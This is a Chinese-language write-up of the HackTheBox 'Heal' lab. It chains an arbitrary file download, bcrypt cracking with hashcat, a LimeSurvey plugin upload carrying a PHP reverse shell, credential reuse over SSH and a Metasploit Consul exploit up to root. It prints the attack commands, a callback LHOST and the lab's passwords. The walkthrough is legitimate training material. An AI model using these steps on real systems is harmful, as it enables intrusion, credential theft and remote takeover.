- 难度 : Easy
- 靶场 : HackTheBox [Heal]
- 类型 : 综合渗透
GetShell
首先拿到 IP ,扫描端口,发现开放了 80 和 22 。
访问 80 ,跳转到 http://heal.htb ,是个填写问卷的 Web 页面,在访问页面的时候,发现有请求 http://api.heal.htb ,以及 http://take-survey.heal.htb ,资产信息大概就这么些。
测试功能点,发现导出 PDF 处存在任意文件下载。
找到两个用户 ron
和 ralph
。
同时,之前收集到 api.heal.htb 是 Ruby on Rails 这个 Web 框架,查看 官方文档 ,发现了数据库配置文件位于 config/database.yml
。
继续利用漏洞点,找到了数据库配置信息。
发现是 SQLite 数据库,可以直接访问 storage/development.sqlite3
下载。
打开数据库,找到了用户信息。
里面有 ralph 用户的密码 hash ,用 hashid
判断一下是哪种类型的 hash 。
echo '$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG' | hashid
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt
发现是破解巨慢的 bcrypt 😭 ,但是这道题还是挺仁慈的,用小字典就可以破解了,不需要 rockyou 。
hashcat -m 3200 test.hash password.txt --show
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG:147258369
经典 147258369 。
访问 http://take-survey.heal.htb/index.php/admin ,用账号 ralph 和密码 147258369 成功登录后台,然后就是喜闻乐见的后台 GetShell 环节啦。
在 GitHub 上找到一个 RCE PoC ,不过 exploit.py
不能直接跑,得手动修改一下。
先下载 Y1LD1R1M.zip 解压,然后修改里面的 config.xml 文件。
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
<version>6.0</version>
<version>7.0</version>
<version>8.0</version>
</compatibility>
添加几行版本号,让版本适配,不修改的话会因为插件版本太老无法导入。
同时还需要修改 php-rev.php 文件,把 IP 和端口修改成自己监听反弹 shell 的端口就好。
修改完成之后,重新打包成 zip 文件,在 Plugins 配置处上传 ZIP 压缩包。上传完成后,开启 nc 监听,然后访问这个地址:
http://take-survey.heal.htb/upload/plugins/Y1LD1R1M/php-rev.php
成功拿到 www-data 用户的反弹 shell ,查看 LimeSurvey 的配置信息。
cat /var/www/limesurvey/application/config/config.php
array(
'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
'emulatePrepare' => true,
'username' => 'db_user',
'password' => 'AdmiDi0_pA$$w0rd',
'charset' => 'utf8',
'tablePrefix' => 'lime_',
)
用这个密码撞库 SSH 用户 ron ,成功登录,拿到 user shell 。
提权
使用 ss
搜集开放端口。
ss -tulnp
发现开放了挺多端口的,只能一个一个开代理测试了。测试发现 8500 有个 Web 服务。
sshpass -p 'AdmiDi0_pA$$w0rd' ssh -L 8000:127.0.0.1:8500 ron@10.10.11.46 -N
是 Consul 服务,Google 发现有个 RCE ,先访问 http://localhost:8000/v1/agent/self ,验证发现 EnableRemoteScriptChecks
选项为 true 。大概率是存在漏洞了,可以直接上 MSF 。
msfconsole
use exploit/multi/misc/consul_service_exec
set RHOSTS 127.0.0.1
set RPORT 8000
set LHOST 10.10.14.53
run
成功弹 shell ,拿到 root flag 。
评论